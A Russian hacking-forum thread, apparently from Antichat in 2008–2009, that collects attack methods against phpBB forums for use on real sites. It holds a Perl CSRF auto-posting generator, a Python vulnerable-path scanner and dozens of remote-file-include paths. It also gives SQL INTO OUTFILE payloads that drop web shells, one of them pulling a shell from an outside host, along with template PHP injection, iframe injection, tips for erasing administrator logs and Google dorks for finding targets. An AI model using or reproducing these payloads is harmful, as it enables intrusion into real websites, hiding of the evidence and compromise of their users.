ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей phpBB] (https://forum.antichat.xyz/showthread.php?t=24488)

Nightmarе 18.06.2008 02:57

Extreme phpBB 3.0.1 (functions.php) Remote File Include Exploit
 
Extreme phpBB 3.0.1 (functions.php) Remote File Include Exploit

Работает при register_globals=1

Светлый 08.07.2008 12:43

iframe на форум
 
Поставить iframe на форум при наличии админки можно вписав код фрейма в название любой темы, желательно видимой для гостей. При небольшой доработке можно и в название раздела, но без знания дела экспериментировать не советую. Тестировалось на phpBB 2.0.22
Админка -> Форум -> Управление -> Названия тем -> дописываем в конце названия темы фрейм

baltazar 19.07.2008 13:50

phpBB Topic AutoSender
 
Код:

---------------------------------------------------------------
 ____            __________        __            ____  __   
/_  | ____    |__\_____  \  _____/  |_          /_  |/  |_
 |  |/    \    |  | _(__  <_/ ___\  __\  ______  |  \  __\
 |  |  |  \  |  |/      \  \___|  |  /_____/  |  ||  |
 |___|___|  /\__|  /______  /\___  >__|            |___||__|
          \/\______|      \/    \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org      Staff[at]inj3ct-it[dot]org   

--------------------------------------------------------------

 0day Auto Sender Post phpBB2

---------------------------------------------------------------

# Coded by TuoNuX

# Description:

autosendform generator

---------------------------------------------------------------

---------------------------------------------------------------
asf.pl
---------------------------------------------------------------

#/usr/bin/perl
#0day Auto Sender Post phpBB2
#TuoNuX@hotmail.it
#http://www.localh0st.altervista.org
#http://www.hackingz0ne.altervista.org
print q {
_____________________________________________________________________


 ___          _ _      __  _
|_ _|_ _  ___ | \ | _ _ \ \/  * 0day Auto Sender Post phpBB2
 | || | |/ . \|  || | | \ \  * TuoNuX@hotmail.it
 |_|`___|\___/|_\_|`___|_/\_\ * http://www.localh0st.altervista.org
              * http://www.hackingz0ne.altervista.org
 0day Auto Sender Post phpBB2


_____________________________________________________________________
};
print q {
[+]Insert host site :
[-]Indirizzo: };
$indirizzo = <stdin>;
chomp($indirizzo);
print q {
_____________________________________________________________________
[+]Insert the forum path (for example /phpBB/) :
[-]Cartella: };
$cartella = <stdin>;
chomp($cartella);
print q {
_____________________________________________________________________
[+]Insert ID section ( number after "?f=" ):
[-]ID Sezione: };
$id = <stdin>;
chomp($id);
print q {
_____________________________________________________________________
[+]Insert Topic Title :
[-]Titolo: };
$titolo = <stdin>;
chomp($titolo);
print q {
_____________________________________________________________________
[+]Insert the body topic :
[+]Yuc can use also the BB code es: [img]urlimmagine[/img]
[-]Testo: };
$testo = <stdin>;
chomp($testo);
print q {
_____________________________________________________________________
[+]Insert the victim sid , don't write everyone if there isn't it :
[-]Sid: };
$sid = <stdin>;
chomp($sid);
$sito = "http://$indirizzo$cartella";
print "\n----------------Riepilogo----------------------\n\n";
print "Forum          =>    $sito\n";
print "ID Section    =>    $id\n";
print "Title          =>    $titolo\n";
print "Message      =>    $testo\n";
print "SID            =>    $sid\n\n";
print "----------------Riepilogo----------------------\n\n";
print "Enter for continued....";
<stdin>;
$m1 = q {<html><head><body><form action="};
$m2 = "$sito";
$m3 = q {posting.php" method="post" name="post"><textarea name="message" class="post">};
$m4 = "$testo";
$m5 = q {</textarea><input type="hidden" value="};
$m12 = "\n\nTuoNuX 0day phpBB2 Exploit\n\n\n";
$m6 = "$titolo";
$m7 = q {" class="post" tabindex="2" style="width: 450px;" maxlength="60" size="45" name="subject"/><input type="hidden" value="" class="post" maxlength="255" size="50" name="poll_title"/><input type="hidden" value="" class="post" maxlength="255" size="50" name="add_poll_option_text"/><input type="hidden" value="0" class="post" maxlength="3" size="3" name="poll_length"/><input type="hidden" value="Anteprima" class="mainoption" name="preview" tabindex="5"/><input type="hidden" value="Invia" class="mainoption" name="post" tabindex="6" accesskey="s"/><input type="hidden" name="mode" value="newtopic" /><input type="hidden" name="f" value="};
$m8 = "$id";
$m9 = q {"> <input type="hidden" name="sid" value="};
$m10 = "$sid";
$m11 = q {" /></form><script>document.post.submit()</script></html></head></body>};
$html = "$m1$m2$m3$m4$m12$m5$m6$m7$m8$m9$m10$m11";
open ( FILE , ">phpBB20dayexploit.html" ) || die ( "" );
print FILE $html;
close ( FILE );
print q {
_____________________________________________________________________


dr.Pilulkin 02.09.2008 12:22

Залив шела в cache в phpBB
 
Обнаружил интересную фишку, которая может помочь при заливке шелла. Иногда бывает что админ выставляет права, которые не позволяют заливать картинки в папку images/avatars попробуем это обойти.

Всем известен способ заливки шелла от Шанкара через востановление базы данных из админки.

Напомню создаем файл с содержанием

Код:

UPDATE phpbb_config SET config_value=concat('images/avatars/cmd.php',char(0)) WHERE config_name='avatar_path';
Восстанавливаем базу им базу из админки. И заливаем из зарание открытой страницы профиля новый аватар с содержащимся в нем PHP кодом. Потом идем на _http://www.site.com/forum/images/avatars/cmd.php и юзаем.

Если папка недоступна на запись попробуем такой финт:
В phpBB есть папка cache доступная на запись необходимая форуму для работы.
В ней лежит .htaccess запрещающий доступ извне.

Делаем файлик:

Код:

UPDATE phpbb_config SET config_value=concat('cache/.htaccess',char(0)) WHERE config_name='avatar_path';
Восстанавливаем им базу. Выставляем в профиле галочку 'удалить текущий аватар' и пытаемся залить некорректный файл.
Он разумеется не зальется но .htaccess из папки cache магическим способом исчезает.

А дальше смотри пункт 1 :).

baltazar 03.09.2008 21:54

PHP 3 login backdoor
 
/////
Код:

#!/usr/bin/python
#This is a phpBB scanner, searches if vulnerable paths
#exist. Put phpvuln.txt in the dir
#at which you are running this script.
#Every path in phpvuln.txt has a vuln. or an exploit for it.
#(considering its the right version)

#Changelog v1.2 : added update function

#Changelog v1.1 : added verbose mode, changed http
#response bug, added new vuln. paths

#http://www.darkc0de.com
##d3hydr8[at]gmail[dot]com

import sys, httplib, time, urllib2

def getserv(path):

    try:
        h = httplib.HTTP(host+":"+port)
        h.putrequest("HEAD", path)
        h.putheader("Host", host)
        h.endheaders()
        status, reason, headers = h.getreply()
    except:
        print "\n[-] Error: Name or service not known. Check your host.\n"
        sys.exit(1)
    return status, reason, headers.get("Server")

def timer():
    now = time.localtime(time.time())
    return time.asctime(now)

def title():
    print "\n\t  d3hydr8[at]gmail[dot]com PhpBBscanner v1.2"
    print "\t--------------------------------------------------"

def update():
    try:
        lines = open("phpvuln.txt", "r").readlines()
    except(IOError):
        print "[-] Error: Check your phpvuln.txt path and permissions"
        print "[-] Update Failed\n"
        sys.exit(1)
    try:
        paths = urllib2.urlopen("http://www.darkc0de.com/scanners/phpvuln.txt").readlines()
    except:
        print "[-] Error: Couldn't connect to remote database"
        print "[-] Update Failed\n"
        sys.exit(1)
    if len(paths) > len(lines):
        dif = int(len(paths)-len(lines))
        print "[+] Found:",dif,"updates"
        print "\n[+] Writing Updates"
        file = open("phpvuln.txt", "a")
        for path in paths[-dif:]:
            if path[-1:] == "\n":
                path = path[:-1]
            print "[+] New:",path
            file.writelines(path+"\n")
        file.close()
        print "\n[+] Update Complete\n"
    else:
        print "[-] No Updates Available\n"
    sys.exit(1)

if len(sys.argv) >= 5 or len(sys.argv) == 1:
    title()
    print "\n\t[+] Usage: ./phpbbscan.py <host> <port>\n"
    print "\t[options]"
    print "\t  -v/-verbose : Shows all http requests and responses"
    print "\t  -u/-update : Updates phpvuln.txt with the latest"
    print "\n\t[+] Ex. ./phpbbscan.py -update"
    print "\t[+] Ex. ./phpbbscan.py google.com 80 -verbose\n"
    sys.exit(1)

title()

if sys.argv[1].lower() == "-u" or sys.argv[1].lower() == "-update":
    print "\n[+] Updating Database File"
    update()
   
host = sys.argv[1]
port = sys.argv[2]

for arg in sys.argv[1:]:
    if arg.lower() == "-v" or arg.lower() == "-verbose":
        verbose = 1
    else:
        verbose = 0

if host[:7] == "http://":
    host = host.replace("http://","")
if host[-1] == "/":
    host = host[:-1]
   
print "[+] Getting responses"
okresp,reason,server = getserv("/")
badresp = getserv("/d3hydr8.html")[:1]

if okresp == badresp[0]:
    print "\n[-] Responses matched, try another host.\n"
    sys.exit(1)
else:
    print "\n[+] Target host:",host
    print "[+] Target port:",port
    print "[+] Target server:",server
    print "[+] Target OK response:",okresp
    print "[+] Target BAD response:",badresp[0], reason
    print "[+] Scan Started at",timer()
    if verbose ==1:
        print "\n[+] Verbose Mode On"

dirs = ["/","/bb/","/phpbb/","/forum/","/forums/","/phpBB2/","/phpbb/phpBB2/"]

try:
    lines = open("phpvuln.txt", "r").readlines()
    print "\n[+]",len(lines)*len(dirs),"paths loaded\n"
except(IOError):
    print "[-] Error: Check your vulnerabilities list path\n"
    sys.exit(1)

vulns = []
print "[+] Scanning...\n"
for d in dirs:
    for line in lines:
        status, reason = getserv(d+line[:-1])[:2]
        if verbose ==1:
            print "[+]",status,reason,":",d+line,"\n"
        if status == okresp:
            vulns.append(d+line)
            print "\t[!]",status,reason,":",d+line,"\n"
        if status == int(401):
            print "\t--",status,reason,":Needs Authentication [",d+line,"]\n"
       
if len(vulns) == 0:
    print "[-] Couldn't find any vuln. paths\n"
else:
    print "[!] Found",len(vulns),"possible vulnerabilities, check manually.\n"
    for vuln in vulns:
        print "\t[+] ",vuln
print "\n[+] Scan completed at", timer(),"\n"

phpBB <= 2.0.16
XSS :
" target="_blank">www.ut'
http://antichat.ru/sniff/log.php


phpBB <= 2.0.19

Exploit:
http://www.milw0rm.com/exploits/1661
http://www.milw0rm.com/exploits/1661

phpBB <= 2.0.20


Exploit: http://www.milw0rm.com/exploits/1780

phpBB <= 2.0.21

Exploit: http://www.milw0rm.com/exploits/2348

Моды


TopList Hack for PHPBB <= 1.3.8
Код:

/toplist.php?f=toplist_top10&phpbb_root_path=shell
Advanced GuestBook
Код:

/admin/addentry.php?phpbb_root_path=shell

Knowledge Base Mod

Код:

/includes/kb_constants.php?module_root_path=shell
phpBB auction mod
Код:

/auction/auction_common.php?phpbb_root_path=shell
phpRaid <= 3.0.b3

Код:

/[phpraidpath]/auth/auth.php?phpbb_root_path=shell
Код:

/[phpraidpath]/auth/auth_phpbb/phpbb_root_path=shell
Код:

/[phpraidpath]/auth/auth.php?smf_root_path=shell
Код:

/[phpraidpath]/auth/auth_SMF/smf_root_path=shell
PafileDB
Код:

/[pdbpath]/includes/pafiledb_constants.php?module_root_path=shell
Foing <= 0.7.0
Код:

/index.php?phpbb_root_path=shell
Код:

/song.php?phpbb_root_path=shell
Код:

/faq.php?phpbb_root_path=shell
Код:

/list.php?phpbb_root_path=shell
Код:

/gen_m3u.php?phpbb_root_path=shell
Код:

/playlist.php?phpbb_root_path=shell
Activity MOD Plus
Код:

/language/lang_english/lang_activity.php?phpbb_root_path=shell
Blend Portal <= 1.2.0
Код:

/blend_data/blend_common.php?phpbb_root_path=shell
Minerva <= 2.0.8a
Код:

/stat_modules/users_age/module.php?phpbb_root_path=shell

Minerva <= v238

Код:

/admin/admin_topic_action_logging.php?setmodules=attach&p hpbb_root_path=shell
FlashBB <= 1.1.5
Код:

/phpbb/getmsg.php?phpbb_root_path=shell
HoRCMS <= 1.3.1
Код:

/includes/functions_cms.php?phpbb_root_path=shell
mail2forum <= 1.2

Код:

/m2f/m2f_forum.php?m2f_root_path=shell
Код:

/m2f/m2f_phpbb204.php?m2f_root_path=shell
Код:

/m2f/m2f_forum.php?m2f_root_path=shell
Код:

/m2f/m2f_mailinglist.php?m2f_root_path=shell
Код:

/m2f/m2f_cron.php?m2f_root_path=shell
WoW Roster
Код:

/[roster_path]/lib/phpbb.php?subdir=shell
Integramod Portal

Код:

/includes/functions_mod_user.php?phpbb_root_path=shell
Код:

/includes/functions.php?phpbb_root_path=shell
Shadow Premod <= 2.7.1
Код:

/includes/functions_portal.php?phpbb_root_path=shell
phpBB XS <= 0.58
Код:

/includes/functions_kb.php?phpbb_root_path=shell
Код:

/includes/bbcb_mg.php?phpbb_root_path=shell
Код:

/includes/functions.php?phpbb_root_path=shell
pnphpbb
Код:

/includes/functions_admin.php?phpbb_root_path=shell
Admin Topic Action Logging
Код:

/admin/admin_topic_action_logging.php?setmodules=pagestar t&phpbb_root_path=
phpBB Static Topics <= 1.0
Код:

/includes/functions_static_topics.php?phpbb_root_path=shell

Security Suite IP Logger

Код:

/includes/logger_engine.php?phpbb_root_path=shell
Dimension of phpBB
Код:

/includes/themen_portal_mitte.php?phpbb_root_path=shell
Код:

/includes/logger_engine.php?phpbb_root_path=shell
Код:

/includes/functions.php?phpbb_root_path=shell
phpBB User Viewed Posts Tracker
Код:

/includes/functions_user_viewed_posts.php?phpbb_root_path=shell
phpBB RANDOm USER REGISTRATION NUMBER
Код:

/includes/functions_num_image.php?phpbb_root_path=shell
phpBB insert user <= 0.1.2
Код:

/includes/functions_mod_user.php?phpbb_root_path=shell

phpBB Import Tools Mod <= 0.1.4

Код:

/includes/functions_mod_user.php?phpbb_root_path=shell
phpBB Ajax Shoutbox <= 0.0.5
Код:

/shoutbox.php?phpbb_root_path=shell

SpamBlockerMOD <= 1.0.2

Код:

/root/includes/antispam.php?phpbb_root_path=shell
phpBB PlusXL 2.x <= biuld 272
Код:

/mods/iai/includes/constants.php?phpbb_root_path=shell
AMAZONIA MOD
Код:

/zufallscodepart.php?phpbb_root_path=shell
news defilante horizontale <= 4.1.1
Код:

/fran?ais/root/includes/functions_newshr.php?phpbb_root_path=shell
phpBB lat2cyr <= 1.0.1
Код:

/lat2cyr.php?phpbb_root_path=shell

SpamOborona PHPBB Plugin

Код:

/admin/admin_spam.php?phpbb_root_path=shell
RPG Events 1.0.0
Код:

/functions_rpg_events.php?phpbb_root_path=shell
phpBB archive for search engines
Код:

/includes/archive/archive_topic.php?phpbb_root_path=shell
PhpBB Prillian French

Код:

/language/lang_french/lang_prillian_faq.php?phpbb_root_path=shell
phpBB ACP User Registration Mod 1.00
Код:

/includes/functions_mod_user.php?phpbb_root_path=shell

phpBB Security <= 1.0.1

Код:

/phpbb_security.php?phpbb_root_path=shell
phpBBFM version 206-3-3
Код:

/language/lang_english/lang_prillian_faq.php?phpbb_root_path=shell


Fully Modded phpBB 2


Код:

/faq.php?foing_root_path=shell
Код:

/index.php?foing_root_path=shell
Код:

/list.php?foing_root_path=shell
Код:

/login.php?foing_root_path=shell
Код:

/playlist.php?foing_root_path=shell
Код:

/song.php?foing_root_path=shell
Код:

/view_artist.php?foing_root_path=shell
Код:

/view_song.php?foing_root_path=shell
Код:

/login.php?foing_root_path=shell
Код:

/playlist.php?foing_root_path=shell
Код:

/song.php?foing_root_path=shell
Код:

/flash/set_na.php?foing_root_path=shell
Код:

/flash/initialise.php?foing_root_path=shell
Код:

/flash/get_song.php?foing_root_path=shell
Код:

/includes/common.php?foing_root_path=shell
Код:

/admin/nav.php?foing_root_path=shell
Код:

/admin/main.php?foing_root_path=shell
Код:

/admin/list_artists.php?foing_root_path=shell
Код:

/admin/index.php?foing_root_path=shell
Код:

/admin/genres.php?foing_root_path=shell
Код:

/admin/edit_artist.php?foing_root_path=shell
Код:

/admin/edit_album.php?foing_root_path=shell
Код:

/admin/config.php?foing_root_path=shell
Код:

/admin/admin_status.php?foing_root_path=shell

DORK'S


Код:

Powered by phpBB 2

"Powered by phpBB"
Powered by phpBB

ext: php intext:"phpbb_installed"

"Powered by phpBB * 2002, 2006 phpBB Group" -demo

"2002, 2006 phpBB Group"
"phpBB Group"
phpbb 2

intext:"Powered by phpBB 2.0."

inurl:"index.php?sid="
inurl:"kb.php?mode=cat"
inurl:"templates""http://forum.xaknet.ru/images/" logo_phpBB.gif
inurl:/phpbb2/
inurl:/phpbb/

Код:

+"Powered by phpBB 2.0.6..10" -phpbb.com -phpbb.pl
intext:"Powered by phpBB 2.0.13" inurl:"cal_view_month.php"|inurl:"downloads.php"
intext:"Powered by phpBB 2.0." inurl:"kb.php?mode=cat"

Код:

"Powered by phpBB" "2001, 2005 phpBB Group" inurl:index.php inurl:sid=
inurl:/install.php Welcome to phpBB
intext:"Powered by phpBB 2.0" -site:phpbb.com
intext:"Powered by phpBB 2.0" -site:phpbb.com -"2.0.11"
intitle:"Welcome.to.phpbb.*.installation"
filetype:php inurl:phpbb2 intext:Index -intext:2.0.13 -intext:2005
+intext:"* by phpBB ©"
"powered b" "y phpbb"
inurl:redirect=admin/index.php "Powered by phpBB"
inurl:admin/index.php "Powered" "phpBB"

Код:

"Powered by phpbb modified v1.8 by Przemo"
"Powered by" "v1.8 by Przemo"
"Powered by" "v1.8 by Przemo" -edu -demo -shoutbox
"Powered by" "v1.8 by Przemo" inurl:index.php -edu -demo -shoutbox
"powered by PhpBB 2.0.15" -site:phpbb.com


(c)Взято с h4ckyou.org

ImpLex 16.12.2008 11:39

небольшое дополнение способ загрузки файла через Sql
Многим известен способ заливки шелла через восстановление бд(sql запрос) .
Цитата:

Сообщение от k1b0rg
5) Загрузка через sql. (Нужны админские права + mysql должна иметь права file_priv='Y'(тоесть фактически root) для OUTFILE)
Редкий случай, но встречаеться чаще баги (3).
как юзать:
Создаем файл 1.sql суем в него код
Код:

SELECT '<? @include("http://kiborg.h10.ru/shell/sim.txt"); ?>' FROM phpbb_users LIMIT 1 INTO OUTFILE '/home/lol/htdocs/forum/shell.php';
В админке востанавливаем через бд этот файл.
Тут нужно знать полный путь. Как его узнавать, ищите в инете.

В данном случае надо
1) Иметь file_priv=y
2)Знать пути
3)Знать таблицу(скорее префикс)
3-ий пункт незачем, знать таблицу(префикс) не обязательно
Также создаем Sql файл
один вариант
Код:

SELECT '<? system(id); ?>' INTO OUTFILE '/home/lol/htdocs/forum/evil.php';
И он будет работать!
другой вариант
Код:

select '<? system(id); ?>' into outfile '/home/lol/htdocs/forum/evil.php' FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '';
тоже вариант, после выполнения создастся файл evil.php.
Тож канает

DeepXhadow 17.03.2009 21:38

Заливка шелла в phpBB 3
 
не нашел на форуме способов заливки шелла в phpBB 3 версии.
1) Вкладка общие --> Безопасность
Разрешить php в шаблонах: Да
2)Вкладка Стили --> Компоненты стилей ->> Шаблоны
С помощью встроенного редактора шаблонов выбираем файл и пишем в него:
Код:

<!-- PHP -->

phpinfo();

<!-- ENDPHP -->

Далее применяем шаблон, идем на измененную страницу и видим наш php код

c411k 19.04.2009 07:45

удаление лога администратора
 
Цитата:

Сообщение от DeepXhadow
не нашел на форуме способов заливки шелла в phpBB 3 версии.
1) Вкладка общие --> Безопасность
Разрешить php в шаблонах: Да
2)Вкладка Стили --> Компоненты стилей ->> Шаблоны
С помощью встроенного редактора шаблонов выбираем файл и пишем в него:
Код:

<!-- PHP -->

phpinfo();

<!-- ENDPHP -->

Далее применяем шаблон, идем на измененную страницу и видим наш php код

все работает отлично, спасибо тебе и разработчикам phpbb3, очень облегчили жизнь! :p

после таких манипуляций в админке phpbb3 отсается палево - айпишний и логин админа, который "тыкал кнопочки".. даже после ручного удаления изменений, все равно последнее выглядит "admin ... Очищен лог администратора ... date ... ip"

через sql тулзу удаляем свои следы в таблице phpbb_log + после логаута не забываем проапдейтить дату последнего визита на прежнюю. значение находится в табле phpbb_users, колонка user_lastvisit.

budden 16.06.2009 15:46

Подскажите, как залить шелл на 2.0.19 с отключенной возможностью рестора БД?
Пробовал сэксплойты от Шанкара, редактирования стиля/подписи/highlight - не работает...

DimOnOID 16.06.2009 18:13

Цитата:

Сообщение от budden
Подскажите, как залить шелл на 2.0.19 с отключенной возможностью рестора БД?
Пробовал сэксплойты от Шанкара, редактирования стиля/подписи/highlight - не работает...

Отключённой в смысле? В Списке нету?..
Попробуй обраиться к срипту напрямую
Код:

admin_db_utilities.php?perform=restore&sid=сессия
Просто..встречал пару раз модифиц phpbb..Где в админке не было такого пункта.....но скрипт был)


Время: 10:31